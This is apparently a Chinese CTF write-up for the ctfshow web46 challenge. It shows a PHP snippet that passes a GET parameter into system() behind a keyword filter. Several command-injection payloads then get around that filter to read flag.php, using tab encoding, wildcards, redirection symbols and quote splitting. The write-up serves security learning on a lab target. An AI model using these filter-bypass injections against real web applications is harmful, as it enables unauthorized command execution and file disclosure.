ctfshow web入门 web46

信息收集

这下把$ *和数字也给过滤了

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

解题

老配方

s 复制代码
?c=tac%09fl?g.php%0a

使用重定位符

在Shell中,反斜杠 \ 是转义字符,用于取消紧随其后的字符的特殊含义。但以下两种情况需要注意:

  • 特殊字符:如 $、*、?、空格等,反斜杠会使其失去特殊含义。
  • 普通字符:如字母、数字,反斜杠会被忽略,直接保留原字符。
    • 所以 flag.txt == fla\g.txt

< <>代替空格。具体查看Shell中的<,<<,>,>>介绍

使用重定向符来替代空格
<?配合使用会失败,原因不详

s 复制代码
?c=tac<fla\g.php||
?c=tac<>fla''g.php||

其中''被shell理解为空字符串。Shell会将 相邻的字符串片段自动拼接,无论是否被引号包裹

复制代码
┌──(si㉿kali)-[~/桌面]
└─$ echo '1'23''45
12345
相关推荐
梦曦i8 小时前
@meng-xi/create-uni-app vs unibest:轻量脚手架与重型框架的定位之争
前端·uni-app
平头哥技术团队8 小时前
Day 10 | 工欲善其事:VS Code 配置与项目归档
android·开发语言·前端·javascript·html·交互
Fnetlink18 小时前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
乌恩大侠8 小时前
GH200 新增 NVMe SSD 分区、格式化与挂载完整流程
运维·服务器·前端
yume_sibai9 小时前
Element Plus 数据展示组件完全指南(15个核心组件)
前端·javascript·vue.js
qiuhaipeng19 小时前
Claude code 升级后上下文长度变短问题
java·前端·数据库
zzz_23689 小时前
个人 AI 记忆如何跨工具复用:用 Markdown、索引和 Skill 搭一个可治理的记忆库
前端·人工智能·react.js·前端框架·agent·agent测评
TechWayfarer11 小时前
Cloudflare 9·15新政倒计时:用IP风险画像识别AI爬虫,防止误伤Googlebot
网络·人工智能·爬虫·python·tcp/ip·网络安全
剑之所向11 小时前
.NET 官方`System.Threading.Channels`
前端·javascript·数据库
计算机魔术师11 小时前
GPT-6 Astra幻觉砍到2%,却被一种老招数轻松绕过
前端